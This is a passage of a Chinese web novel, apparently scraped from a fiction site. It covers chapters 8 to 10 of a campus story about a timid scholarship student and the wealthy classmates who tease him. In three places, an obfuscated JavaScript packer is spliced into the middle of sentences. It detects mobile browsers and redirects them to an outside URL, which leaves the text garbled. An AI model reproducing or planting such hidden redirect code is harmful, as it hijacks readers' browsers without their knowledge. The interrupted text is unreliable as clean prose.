万般滋味像小虫子一样啃噬浑身骨头,温绒的脸色比看到油漆那瞬间还要难看。 学长其实并不开心,自己的开心建立在学长的痛苦上。 愧疚的情绪在心头环绕,最终凌乱地吐出几个大字:我给学长添麻烦了。 “喂,你怎么还不起来。” 温绒更大声道歉:“真的非常对不起!” 莱昂:“……” 莱昂:“好了,小笨蛋,找个地方流口水去吧,别在这里妨碍我抓凶手。” “我……” “再不走学长要发脾气了。” 温绒差点又要喊对不起,幸好及时止住了,咬住嘴巴慌慌张张跑下楼。 阳光烈烈,刺得眼睛生疼。 温绒坐在宿舍楼附近的长条椅上,两只手贴着膝盖,无意识地摩挲。 过了许久,指尖被搓得通红,每分每秒越来越煎熬难耐,温绒在心里小心翼翼地喊系统。 “哥哥。” 【怎么了?】 “你也是因为责任才对我这么好吗?其实我给你造成了很多麻烦,你一点都不喜欢我对不对。” 【……】系统不知道这个结论从哪里来,但它只是个机器人,它的设定是为宿主服务,至于喜欢不喜欢宿主的问题并不在组成它的数据串里。 温绒的下唇使劲向上抵,鼻翼微动,在浑身都开始颤抖时,眼泪滴到镜片上。 “我没有给时野洗内裤,任务是不是已经失败了,对你有影响吗?” 【失败了对宿主的影响比较大,宿主积分不够无法在专属商城里兑换东西。】 “可以兑换……那种不给别人添麻烦的东西吗?” 【宿主,有人来了。】 “怎么一个人在这。”旁边落下一个声音。 等温绒回头,齐元已经在身边坐下,“我听说油漆的事了。” “……你好。” 眼泪从镜片滑到脸上,他连忙抬手抹掉。 齐元从胸口口袋里抽出手帕,叠成四四方方的形状递向温绒,“手擦不干净,用我的手帕。” “……” “宿舍门口人这么多,看到你哭会以为我欺负你,快擦擦。” 温绒听话捧过面巾,在手心里软软滑滑的,下意识就觉得它很贵,想要把手帕递回去。 齐元不接,两只手背到身后,笑眯眯地望着他。 温绒犹豫着犹豫着,道了谢,把眼镜摘下来,用手帕轻轻覆盖在脸上。 啪嗒 他动作一顿。 “我帮你捡。” 本来想说不用,然而短短一秒钟,眼镜就递到了温绒面前。 “眼泪擦完了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769217|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 温绒连忙把手帕捧过去,“谢谢。” 感谢完又想到这是自己擦过脸的,手收回来,“对不起,我重新买一条给你。” 希望不超过两万五,他在心里祈祷。 “不用。”齐元抽走手帕,迅速塞进裤子口袋。 “可是……” 眼镜架的两边擦着太阳穴落在耳后,温绒视野骤然清晰。 齐元的脸靠得极近,“戴上眼镜果然要好看一点。” 好……看? 温绒第一次听到这个词,还不太能理解这个词的含义。 【宿主,他要亲到你了。】 温绒猛然后倒,脸颊呼呼发烫,“不、不好意思。” “没事。”齐元笑着坐正,“莱昂学长还在查这件事,估计要查出凶手学校才会给你换成新床。我住在隔壁,这段时间你可以跟我睡。” 温绒连忙摇头。 “是不是不习惯跟别人一起住?你放心,我晚上都在时野那边,不住宿舍。” “不用不用。” “为什么不用呢?”齐元眸光一暗,伸手拉起温绒的手,“你讨厌我吗?” 温绒吓一跳。 匆忙想要抽走,可齐元的力气很大,像被一只怪兽咬住,整只手都热烘烘,带着湿气的舌尖舔过掌心,毒液瞬间麻痹他的身体。 心跳、呼吸、骤停。 【别发呆,莱昂来消息了。】 温绒抓到救命草一样大叫:“莱昂学长给我发消息了!” 齐元眉头轻轻皱了一下,但也终于松开手,“嗯,你先看看他的消息。” 温绒急匆匆摸出手机。 莱昂·冯·勒文斯坦:[凶手查到了,口水流完了吗?流完带着你的脑子回来。] 好小众的词汇,除了“回来”,其他的都没看懂。 他把手机递给齐元看,以证明自己没有撒谎,“莱昂学长叫我回去。” “我和你一起。” “不用这么麻烦,我自己就好,谢谢你!” 温绒什么都顾不及了,一把抓起袋子飞快跑回宿舍楼。 路途中他心脏狂跳,忍不住问系统,“哥哥,为什么齐元同学对我这么好?还夸我好看,是……跟莱昂学长一样,因为礼貌吗?” 【……】说你戴眼镜更好看的人能是好人? 系统还在思考怎么给情商为0的宿主解释齐元不像好货这件事。 温绒自问自答:“我什么都没为他们做,也没有优点,应该只是礼貌吧。我还是不要麻烦他他们,万一他们讨厌我怎么办。” 好了,不需要解释,过程全错但结果是对的。 【嗯。】 …… 温绒赶回宿舍,正巧四个穿着荧光色工作服的男人搬着床往门里进。 他伸长脖子去瞧,后脑勺忽然被弹一下。 抱着脑袋回头,看见莱昂·冯·勒文斯坦的铭牌,温绒向旁边走了半步,拘谨地站正,“学、学长好。” “学长不好。” 温绒更是愧疚,“不好意思给你添麻烦了。” “浪费时间的话就不说了。”莱昂从口袋里夹出张黑卡送到温绒面前,“监控查到时野带来学校的佣人进过你的房间,油漆是他泼的,说是想欺负你去时野那边邀功。时野把人辞退了,床也给你换成新的。这里是50万赔偿……怎么这副表情?不满意吗?” “没。” “泼油漆的事他确实不知情,知道这件事后气得给墙来了两拳头。” 莱昂继续说:“或者说你有什么想法大胆提出来,我去跟他说。” “……” 莱昂把黑卡往温绒脑门上一拍,“小笨蛋,表个态呀。” 温绒像是被贴上符的僵尸,身体彻底静止。 好一会儿,他向后退,理了理被黑卡压进眼镜内侧的刘海,“可不可以让他以后悄悄找我麻烦,不要惊动那么多人” 莱昂眯起眼睛:“你在胡言乱语什么?” “我希望他悄悄揍我。” 8. 第 8 章 温绒太习惯“收钱”了。 每次闹到警察局的结果都是赔偿、写保证书。 走的时候那些人会狠狠瞪他,温绒感受得到,他们心里在说“你等着”。 钱不是结束,是叫他闭嘴,等着更激烈的报复。 温绒根本不知道自己该向霸凌者要什么,因为他真正想要的那些人不会给他。 那就退而求其次,提一个一想起时野就恐惧的事情吧——别再有多人围观了。 他不想被围观跟嘲笑,同时也害怕……惊动莱昂学长。 万一又给学长添麻烦怎么办,学长会说:“你克我吧。” 其实温绒一直都很害怕给别人添麻烦,无论是莱昂学长,还是以前学校的老师、福利院的阿姨……他们一开始都会热心帮助他,但次数多了后,温绒能感受到他们眼里的不耐烦和反感。 发现曾经对自己好的人讨厌自己,是一件比挨揍更痛苦的事情。 莱昂:“你确定?” 温绒郑重点头。 “哎哟,真是个奇怪的要求,时野听了应该会拿着网球拍来杀人吧。”莱昂笑着把卡收回去,两只手指曲起,在温绒脑门上弹一下。“这颗笨蛋脑袋被网球拍敲一敲会不会变聪明?” 温绒咬紧嘴巴,怕自己说对不起。 “你就不能要求‘时野不准出现在我面前’吗?” 这个要求温绒自己都不信,所以坚定摇头。 “行,我去给他说。你好好休息吧。” “学、学长。”温绒忍不住喊住莱昂。 “又怎么了?” “真的很对不起,麻烦你这么多。” 莱昂随意摆手,“算你运气好,遇到我这么负责的小班。” * 正午,网球场 “他没要钱,让你以后直接找他单挑。” 啪 “那窝囊废敢这么说?” 啪 “他当然敢呐——那是不可能的。他就是个很怂又好骗的小笨蛋,随便骂两句都会哭,所以你别再觊觎人家屁股了。” 啪 “艹!我碰都没碰到他。” 啪 “你没碰他屁股他为什么拎着袋药到处跑?” 大声啪 “嗷哟,小点力,学长可是放弃宝贵的午休陪你在这里打球,懂不懂感恩。” 啪—— 超大声 球力猛烈,致使球拍从莱昂手中脱落,旋出场外。 莱昂大吐一口气,“不打了。” 他走出网球场,从管家手里接过瓶水。 时野:“继续。” “没良心的小混蛋,跟墙玩去,少折磨学长。” 时野放下球拍,也到管家手里接过瓶水,拧开瓶盖仰头往嘴里倒。 咕噜咕噜,不到几秒钟,瓶口再也倒不出一滴。 他又拿一瓶,拧开咕噜咕噜倒在脑门上。 水顺着黑色的发根淌到灰色的发尾,冲散满头热汗。 时野拿干毛巾擦去水渍,“我没有碰过他。” “是是是。”莱昂敷衍应着。 “真的没有。” 时野烦躁地把湿毛巾扯下递给管家,示意他出去。 随后双手搭在椅背上,抬头望天,“我最多就踢了两下他的屁股。” “你果然觊觎人家屁股。” “他自己撅着!” “人家撅着你就控制不住是吗?” 时野:“……” 给弗罗里曼学院选址时,校长先是挑了个四季如春的好区域,又在一片区域里选择没工厂的城市。 事实证明校长是正确的。 这边的天空都其他地方更蓝。 白得发光的云团盖住太阳,阴影漫过头顶。 莱昂优雅翘起二郎腿,“你单独住大别墅够特立独行了,能不能跟其他新生一样乖乖跟学长一起参观校园……哎哟,差点忘了,明天开始选课,想好学什么方向了吗?需不需要学长亲自指导?” “团队已经弄完了。” “唉,要是每个小笨蛋都跟你一样雇个专业团队研究这七年该怎么安排就好了。” 时野扶着脖颈活动脖子,脊柱咔咔作响,“还有蠢到不配团队的人吗?就连齐元都配了三个演戏方面的专家。” “别再说了,再说学长要心碎了。”莱昂弹袖子,悲怆扶额,“唉~学长真是喝水塞牙缝儿,好不容易想做点对社会有贡献的好事,偏偏遇上个特招生。” 时野眉头一跳,“能不能别提他。” “那不成,人家乖乖巧巧来学校报道,两条内裤都被你拿捏。” 时野张口要反驳,莱昂继续说:“众所周知拿别人内裤的都是变态。” 时野:“……” 莱昂满意时野吃瘪的表情,拿起放在椅子上的手机在班级群发消息:[小笨蛋们,明早九点记得选课。这是选课流程,这是指引,自己看好了。] 发完这些,回头问时野:“你给特招生惹了那么大麻烦,把团队借给人家选课吧。” 时野沉默了下,“给他选完课就两清了,内裤这事不准再提。” “你那天为什么要去闻人家内裤?” “……” “给学长分享下感想?” “艹!还不是齐元那傻x,他一直嚎那内裤香,我一好奇……”时野不爽地搓头发,“穿过的内裤为什么不扔掉?那个窝囊废才是变态。” “承认自己错了难死你。”莱昂退出群聊,单独找出温绒戳过去:[吃完午饭了吗?吃完出来,我教你选课。] …… [吃完午饭了吗?吃完出来,我教你选课。] 温绒看到消息的时候刚忍着难受把长达200页的选课指引看完。 他第一个反应是问系统 “哥哥你可以帮我选吗?” 【系统暂时不具备这个功能。】 温绒本来就低落,得到这个回复情绪值更低了。 看完选课指引后他才知道昨天系统说的“没有专业”、“自主选课”是什么意思。 200页指引,上千门课,每门课的名字对他来说都是生僻词。 他很确定自己没办法做这项关乎未来的决定。 在硬着头皮麻烦学长跟未来之间摇摆几分钟后,温绒回复莱昂:[对不起学长,我才看到消息。您现在方便吗?] 对面秒回:[不方便,996的牛马晚上九点都得下班,你看看现在几点。] 温绒偏头看向窗外,吓一大跳。 他坐在电脑前的时候天还是亮的,现在外面一片漆黑。 【宿主,现在是晚上十点。】 “我怎么看了这么久。” 【……】系统也很想知道为什么温绒看个指引能看得这么入神,要不是书页在变换,系统都要以为宿主灵魂出窍了。 温绒连忙回复莱昂:[对不起学长,您好好休息,晚安。] 莱昂:[/拳头,你对面那栋楼,408,过来。] …… 莱昂学长那栋宿舍楼走廊上每个门之间的距离更大,显然每间宿舍都要大一些。 温绒走了好一会儿才看到408,最靠边的位置。 咚咚咚 咔擦 温绒身体站得直挺挺的,“学长晚上——” 好字还没喊出口,一个黑影把房间里透出来的光全部挡住,温绒的紧张跟愧疚都被盖在里黑暗中。 来人睥他,“进来。” ——是时野。 不、不太敢进。 “进来!” 温绒更不敢动了。 他又抬头看一眼门上的数字,确定是408没有走错。 “怎么还不进来?”莱昂学长的声音从里面传来。 温绒怕自己犹犹豫豫让学长反感,连忙进门。 正好时野走在前头,他目光往下,看到时野穿着一双拖鞋,脚步又停住。 停滞两秒,温绒弯下腰,把自己的鞋脱下来贴着门放,踩着袜子追上时野。 莱昂学长的宿舍比他的大得多,但似乎更加拥挤。 没有沙发,靠墙两边都是长条桌子,桌子上架着顶到天花板的柜子,柜子里严丝合缝地拼满透明盒子,盒子里装满东西。 好像来到了五金店。 莱昂穿着围裙从另一个房间出来,手里的小电钻渍渍发响,“你先等等,我马上弄好。” 他回去继续折腾的动作一顿,目光从温绒的脸挪到脚上。 温绒察觉到,脚趾在白袜子里不好意思地扭动,仓促解释,“我鞋子脏,我怕弄脏你宿舍。” “坐吧,时野给他找把椅子。” 温绒忙道,“我、我、我站着就好。” 时野回头给温绒一个冷眼,温绒咬住嘴巴低头。 时野从桌子下面拉出把椅子甩给他后抱着笔记本去另外的位置忙了,键盘被打得噼里啪啦响,房间里面莱昂的电钻也在嗡嗡嗡。 温绒两条腿并拢,手搭在膝盖上,拘谨地等待着。 这样的时间很难熬,每一秒都被拉长。 电钻声暂停时他会兴奋,“学长结束了?”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769218|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但电钻声很快又响起。 键盘声暂停时他会害怕,时野似乎看过来了,幸好键盘声又再次响起。 也不知道过了多久,电钻声终于长久地停止了,莱昂脱掉围裙,抱着笔记本电脑从房间里出来。 长腿踢着椅子到温绒旁边坐下,笔记本打开,登上黒鸽。 “好了,咱们速战速决。小笨蛋你以后想做什么?” 温绒重重松口气,说出心里的答案,“学长我想学数学。” “数学?”莱昂指尖定了一瞬。 温绒敏锐察觉到,“不、不可以吗?” “没有不可以,只是有点意外,你看起来呆呆的,没想到脑子还挺好使。”莱昂回头点开课程指引里面的数学分类,“IMO成绩怎么样?擅长什么方向?” “I……”温绒茫然地重复着莱昂学长说的东西。 “嗯?” 他搭在膝盖上的拳头紧了又紧,“I……MO是什么。” 敲键盘的声音戛然而止,四周静了。 温绒感觉时野朝自己看了过来,顿时后背泛起鸡皮疙瘩,脸颊跟火烧似的。 “或者说你之前有参加过什么夏令营吗?” “没有。就是……”温绒声音越来越低,“就是数学考的分数比较高。” “小笨蛋,分数比较高怎么能算依据?高中数学跟大学数学差距比较大,这门课要看天赋的。” “分数……不算吗……” “……” “……” “……” 气氛陷入尴尬的沉默,每个人的呼吸声都很明显。 温绒觉得此刻比刚才等待的时间更难熬,指甲深深陷入膝盖。 他忍不住说:“学长你帮我选一个好找工作的课吧,什么都行。” “工作很难找吗?” 跟莱昂学长完全不一样的声线,独属于非常恐怖的时野。 温绒脑海中闪过时野居高临下望着自己的画面,冷漠垂下眼皮,有点看不起人。 心脏的位置狠狠绞了一下。 他的下巴几乎要抵到胸口,略长的刘海完全挡住射向脸的视线,在柔软的发丝之间,隐隐能看到窘迫的神情。 “我就想读大学出来找份养活自己的工作。” “啧,他又要哭了!我就问个问题他怎么又要哭了,你看,我真没动手。” 两个声音几乎一起响起,时野的盖过了他。 “闭嘴!不是说你啊小笨……”莱昂的声音停了一下,“不温绒,你刚刚说什么。” “学、学长,我回去再考虑考虑。” 温绒迅速跳下凳子,拎上鞋子像懦夫一样跑出房间。 …… 这个点还不是睡觉的时间,每道门缝下溢出一小块明亮的光。 袜子踩在地板上没有声音,他一路跑下楼,没有一盏声控灯被惊醒。 到宿舍门口,温绒忽然定住了,像个失去发条的木偶,静静吹冷风。 系统都要以为他睡着的时候,听到微弱的声音: “哥哥,IMO是什么。” 【世界奥数比赛】 “夏令营呢?” 【名校在高考前选取优秀生源的地方。】 温绒再次静默几秒,像木偶一样一卡一顿地开口:“我……是不是……不该说自己数学好。” “我数学一点都不好。” “学长问的这些我都没做过。” 【……】系统望着温绒满分的高考数学成绩,不知道该如何回答。 沉默中,温绒的目光望向不远处。 路灯并不算明亮,如同美术生洗笔的水倒在路面上,浅浅印着颜色。 他垂下眼眸,“哥哥,我现在该选什么课。” 【这个问题取决于宿主想做什么。】 “我……” 【你的梦想是什么?】 “我……” 温绒没有考虑过这个问题。 他的生活一直都很简单,学习、考试、考高分。 高考成绩出来时他心里有一点点骄傲,觉得自己即使没有爸爸妈妈也没比别人差。 可现在他敏感意识到自己是在夜郎自大,那些引以为傲的高分成绩不值得一提。 心脏绞痛越来越密集。 温绒屏住一口气,佯装平静地走下阶梯。 纤瘦身体逐渐佝偻,手撑着膝盖,以诡异的姿势前行。 从浅浅的颜色踏入黑暗,他两只手臂忽然打滑,脑门磕到膝盖上。 鼻子用力一抽,眼泪吧嗒吧嗒外涌。 9. 第 9 章 嘭嘭 莱昂两指叩响窗户,金色短发融入夜色之中。 “哭了。” 时野冷静下来后想明白了,“你刚才绝对是故意的。” “算是故意。” “然后我背锅?” “你又不无辜。”顿了下,“我查到弗罗里曼学院建校以来招收过十六名特招生,这些人里没有任何一个能顺利毕业。目前最高记录是十年前的某位学长,天生的绝对音感,能力并不输学校里的任何人,但三年级时还是退了学。” “这跟你故意折腾那个窝囊废有什么关系吗?” “无父无母,被退养两次,在学校被同学欺负,但是——”莱昂顿了顿,“他的成绩依然很好。” “那种小地方的成绩能说明什么。” 莱昂不接时野的问题,侧开脸,看着夜色中佝偻的身影,“我喜欢有潜力的乖孩子。” 时野神色一顿,“你喜欢男人?” 联邦并不禁止男人跟男人结婚,但莱昂知道,时野妥妥的死直男。 “我的意思是,欣赏。” “欣赏一个窝囊废?” “听说人在心情不好的时候才会展示出最真实的底色。你要不要现在下去嘲讽两句,看看窝囊废还窝不窝囊。” “……” “不好奇吗?” “……” “一点都不好奇?” 时野眼眸微动,抬手合上笔记本电脑的盖子,“太晚了,我回去了。” 莱昂扯了扯嘴角。 好奇心能害死100个时野。 - 弗罗里曼学院没有宵禁,但每个学生课业都重,该睡觉的时间必然关上灯睡觉。两栋宿舍楼之间,就那蹲在地上的一小团还有力气哭。 时野低头沉思。 怎么有人这么爱哭,已经哭了很多很多次了吧? 就不能坚强点吗? 大男人哭什么哭。 除了爱哭窝囊怂,这人还能有什么其他底色? 莱昂说的潜力是什么东西? 时野被莱昂勾得好奇死了,于是走上前,在周围没有任何人的情况下,做作地假装自己被绊倒。 “艹艹艹…”他声音拔高,继续假装自己很生气地指责,“大晚上的你蹲地上干什么,你——” 一小团可怜巴巴地从膝盖里抬起脸。 淡橘色的光斑晕在柔软的碎发上,风掀开额前的一缕,素净淡雅的五官缓缓贴进视野,眸子里含着一团雾。 像小河边朦胧升起的晨雾,清清冷冷又干干净净,只能留在照片里、画像里,伸手摸不到,抓不住,莫名让人生出一种“只能远观不能得到”的失意。 这是……那个窝囊废? 时野心头重重一跳,声音180°变调,“你你你你你……又哭什么?” 小脸眯着眼睛望了他两秒,拿袖子在眼镜里擦擦擦,重新戴上。 隔着厚厚的镜片,时野仍然能感觉到那双眼睛里忽然升起的恐惧。 确定了,是窝囊废。 窝囊废两只手在地上扒拉两下,几乎是滚着往前跑。 时野正准备张开的嘴尴尬闭上。 我做什么了? 宿舍楼门口的灯描摹出一小团人的形状,时野全然忘记自己下来找温绒是想嘲讽他看看他能气成什么样,满脑子都是“哭什么?”“我做错什么了?”…… 片刻后,他眯起眼睛,网球场上极优的动态视力精准抓住目标移动轨迹,大步追上去,手臂一伸,牢牢把人从楼梯上扣回来。 “好痛,你、你你放开我。” “不、不好意思。”时野呆头呆脑地飞快收手。 又想到温绒刚刚慌里慌张的样子,没有忍住问:“你跑什么?我很可怕吗?” “我……我回宿舍。” “哦。那你回去吧。” 看一小个人影要拐过楼梯了,时野忽然觉得刚才在做梦。 他刚刚看见的都是假的吧? 那个窝囊废怎么会长成那样? 怎么能长成那样? 想再看看。 时野两阶两阶追上楼把人重新扣住,“为什么哭,你小子今天必须把话说清楚,不然……” 垂眸如愿望到瓷白的小脸,鼻尖哭得粉糯糯的,像草莓味大福。确定刚才看见的不是幻觉,舌头下意识顶了顶腮帮子,接着说:“不然所有人都要以为我又把你怎么了。” 这两天发生太多事了,好像特招生……好像温绒出什么事都必定跟自己有关,他现在哭成这样,要是上去碰见谁,明天肯定又有好多人乱传自己欺负特招生。 为了名声,一定得问清楚。 温绒只觉得自己遇到了个神经病。 抬手试图掰一掰,手摸到硬邦邦的肌肉,只觉得无力。 肌肉怎么能这么结实! 好想掰下来装在自己手上! 恐怖想法在脑子里一闪而过,温绒吓自己一大跳。 不能这样想,这是犯罪,要坐牢的。 他努力控制住自己的坏心思,“能不能放开我。” 时野的手一动不动:“你得回答我的问题啊。” 温绒:“……” 还圈着他的脑袋晃了晃,“怎么不说话。” 温绒终于受不了了,“因为你们知道的东西我都不知道,可以放开我了吗。” “什么?” “你是蚊子吗?大声点。” 他要气死了。 这个人是不是耳背,为什么每次都要他一而再再而三地重复。 “一直哭当然是因为我一直很难过。你带那么多人欺负我,还笑我不知道IMO跟夏令营,还笑我找工作,总之我这么委屈难道不能哭吗?有没有道理了,我又打不过你,哭一下怎么了。” “我什么时候笑你了?” 温绒:“……” 细想一下好像确实没笑。 自己难道误会人家了?! 温绒有点恼羞成怒,抬手捶拦在脖子上的手,“放开我!别人这样弄你你也不会舒服,干嘛总是这样对我。” 时野的手臂纹丝不动,温绒耳朵边还传来“啧”的一声。 “好好好,就当我笑了。不过你真这么想?” 温绒浑身一震,“不、不是吗?” 他望着忽然变成呆瓜的漂亮小脸,压了压嘴角,“无知是你最不值得一提的缺点。” “你最大到问题是菜。这里每个人从小就在努力考进弗罗里曼学院。而你个连IMO都不知道是什么的……总之你只是意外救了我……救了两个人就跟我们平起平坐,凭什么?” 粉红的眼睫骤然一颤,眸子下意识地努力向上瞥,“我也不差!” 隔着厚厚的眼镜也能看到,眼珠子是很浅的褐色,更接近琥珀,有种无法聚焦,空灵的美。 时野不禁屏住呼吸,很刻意地问:“你说什么?” “我说我也不差,我以前也有被老师夸奖踏实努力的,我只是知道得没你们多。” 继续刻意:“努力有什么用。” 小脸上红一阵白一阵,“你刚刚还说你们努力很多年才能进弗罗里曼学院读书。” “……” 时野花了几秒钟反应过来他在拿自己说过的话来堵自己? 噗嗤 莫名其妙想笑一笑。 时野都不知道自己怎么了,仅仅是察觉到一点点锐气就乐开了花,好像发现了什么大秘密的冰山一角,勾引着他继续探索,“努力只是常态,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769219|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的是天赋,天赋你懂吗?” 小脸彻底红了,愤愤不平地吼:“如果我有爸妈,你们知道的我也会知道,你们有的天赋我也会有!” 时野心里默默反驳,有爸妈也不见得能有这些。 他想再继续看看这个窝囊废……温绒生气能生到什么程度,但略一思考,发现没得说了,总不可能真讲他爸妈吧。 不碰别人的底线这点时野还是知道的。 经过思考,时野学着温绒补了一句,“你是不是以为天赋就是考试分数比较高。” 话音刚落,两只爪子劈头盖脸落到脸颊上,颧骨鼻梁周遭的皮肤传来一阵火辣辣的痛。 “艹!” 他下意识推开温绒,力气之大以至温绒原地转了大半圈。 “艹……” 空气里响起一道不一样的声线。 时野愣了一愣,反应过来这句毫无气势的骂声是从温绒嘴里发出来的。 有点难以置信。 他敢骂“艹”? 一个哭唧唧的窝囊废,碰都没碰一下就缩到地上抱头发抖的怂货,还有脾气? 清雅俊秀的小脸,架着一副黑框眼镜,看起来是让他往东就往东往西就往西的笨蛋书呆子,但他张嘴骂出粗俗的“艹”——他会骂人! 时野激动得唇角颤抖,“你骂我什么?” 温绒好不容易站正,仰起头嘴巴张大,但那个“艹”好像堵住了,发不出声音。 最后他艰难地怒回:“你骂我什么我骂你什么。” 灯光下,瓷白的脸,下巴尖尖,缀着跟鼻尖一样淡粉色唇瓣,莫名有种动魄惊心的美。 时野莫名想起自己家那只漂漂亮亮的废物猫,脾气好得要死,怎么搓揉拿捏都不生气,但真的给它惹毛了,其实也没多大攻击力,巴掌轻飘飘,张嘴哈气更是攻击力为0。 时野就喜欢在它好不容易生气的时候逗它,一猫一人打“拳皇”,逗狠了,废物猫真把两颗小牙齿啃到他手臂上——也一点不痛。 “再骂一次。”时野完全忽略了脸颊上的痛,按压着兴奋,跃跃欲试。 温绒:…… 温绒:? “再骂一次。” 温绒想跑,但又怕再次被锁喉,手撑到楼梯厅的墙上不敢动。 时野看出他的想法,“再骂一次让你走。” “真、真的?” “嗯。” 温绒迟疑着,张嘴字正腔圆念出一声毫无气势的“艹”。 时野忽然就笑了,白炽灯映出脸颊上的两道血印,怎么看都不正常。 随后他手背对着温绒,朝外推了推,示意温绒走。 “我真的……可以走……走了?” “你想留下来继续骂几句也行。” 温绒忙不迭转身便跑。 时野靠到墙上,摸出手机打字:[窝囊废] 删除、删除、删除。 他重新编辑信息:[发现他不戴眼镜还挺漂亮。] 一键删除。 好像没必要告诉莱昂这些。 时野把手机放下,插着裤兜下楼。 他有点兴奋,走出宿舍大楼的时候,冷空气涌上来都驱散不掉浑身的热。 走着走着,又摸出手机,翻出自家那只废物猫的照片。 明明是只公猫,但被他妈打扮得像个小姑娘,脑袋上总是别着各种各样的蝴蝶结。 火化的时候,时野把它的蝴蝶结一起送进了炉子。 时野慢悠悠在路上晃了将近二十分钟,临近网球场旁边的别墅,忽然抬起拳头怼了下空气。 过于熟稔的记忆自动在对面填补一只白色的猫爪子。 啪啪啪 冷风一阵一阵的,像小巴掌拍在手背上。 10. 第 10 章 [世纪爱恋:时野拙劣求爱,在特招生的床上画、爱、心。] 1楼:[黒鸽八卦新闻报前方勇士吃到第一口瓜,今早时野求爱不成大发脾气,把特招生单独留在了别墅内,叫其他人全都滚!(他叫其他人全都滚诶,这不是制造二人世界是什么。)] 2楼:[可惜天不遂人愿,莱昂冲冠一怒为红颜,开着拉法把特招生抢走(莱昂·冯·勒文斯坦也加入了这场爱恨情仇,难道我校即将上演F4争夺特招生的打戏)。] 3楼:[时野深感受辱,遂派人带红色油漆桶在特招生的床上画、爱、心(爱心都画了,结婚还会远吗?)。] 4楼:[故事最后,附赠勇士拍摄的莱昂·冯·勒文斯坦为特招生换新床(有图有真相)。] 前方记者躲走廊尽头偷偷拿手机拍摄,光线并不好,只能隐隐约约看到一高一矮的人影。 莱昂自然不用说,出生政要世家的人从小学习礼仪,无论什么时候在他身上都找不到错处。 5楼:[特招生在莱昂学长的衬托下,好像一条狗。] 美女与野兽的故事向来吸引眼球,这个帖子的热度很快又超过新老网球社招新。 …… 热闹属于很早之前,此刻的整座弗罗里曼学院化为一片浓黑,大部分人都已入睡。 时野才从浴室出来。 单面玻璃映出高挑结实的身影,宽肩窄腰,一道背沟没入浴巾。 他一边擦头发一边紧紧盯着手机,穿着白t牛仔裤的人占据屏幕——身体微微后仰,勾着背,低着头,发丝紧贴折弯的细长脖颈,延展成一道明暗交界线。 为什么看起来很呆? 像笨蛋小孩第一次被老师叫进办公室,不知道自己犯什么错也不知道该怎么办,两只手在身前紧张地绞着。 时野俯视这张照片好几分钟,舒舒服服地坐进沙发,点击保存图片,都没发觉自己弯了嘴角。 点开相册要继续欣赏,整张图片跳出来时锋利的眉又皱了一下。 点击图片编辑,裁掉莱昂。 照片只剩下长长的一条时,红晕漫上脸颊,鼻梁跟脸颊处的伤口变得滚烫。 时野摸了摸脖子,脸色骤变,突然站起。 艹! 我在干嘛? 他吓得把手机丢出去,假装若无其事地绕着沙发转圈,伸长脖子四处看看,像在逛博物馆。 最后猛然反应过来,房间里又没人。 砰砰直跳的心跳难以平静,坐回沙发重新捡起手机。 不敢再看照片了,下意识点开通讯录处理消息。 一个小时前,莱昂发消息指责:[让你下去试试,没叫你追着人家揍。] 时野思索几秒后做出个重要决定。 手指冷漠地点点,回车:[哦。] 莱昂秒回:[结果怎么样?] [还是很窝囊,没什么潜力,我觉得你可以放弃观察了。] 回车键摁下后,时野耳根子里全是砰砰的心跳。他搓了搓头发,像一个刚告白完等待对方答案的毛头小子,盯着头像旁边的“正在输入中”吞咽唾沫。 莱昂:[哦。] “哦”是什么意思? 输入那么久,就一个“哦”? 放弃观察了还是没放弃? 时野:[特招生穷到让我发笑,眼镜用了至少十年吧?那眼镜腿都松了,你看过吗?] 莱昂:[睡觉了,晚安。] !!! 艹 时野几乎要跳起来,这时屏幕上方弹出新对话窗。 齐元:[时哥,赵泽阳在论坛说,加入网球社附赠GMI的年终盛会的邀请函。] 时野现在烦得要死,哪里有心情管什么赵泽阳张泽阳刘泽阳。 [随他,别烦我。] 齐元:[好的。] 时野猜不到莱昂的心思,恨不得跑去他的宿舍敲门直接问。 当然,那不现实。 “你觉得那个特招生怎么样”“你知道那个特招生不戴眼镜的时候其实……” 字打到这里便断了。 算了。 莱昂就算知道也没什么。 认识这么多年时野是了解莱昂的,莱昂不喜欢蠢人。温绒那么笨,莱昂对他能有什么兴趣。 想到那副呆瓜的样子,时野半张脸都埋进手心里,挡住快要扯到耳根的笑容。 怎么能长成那样? 简直和他家猫一模一样。 不行,不能再想了。 这是时野第无数次阻止自己回想温绒的样子。 他打开黒鸽论坛企图转移注意力。 还是刚才的八卦帖。 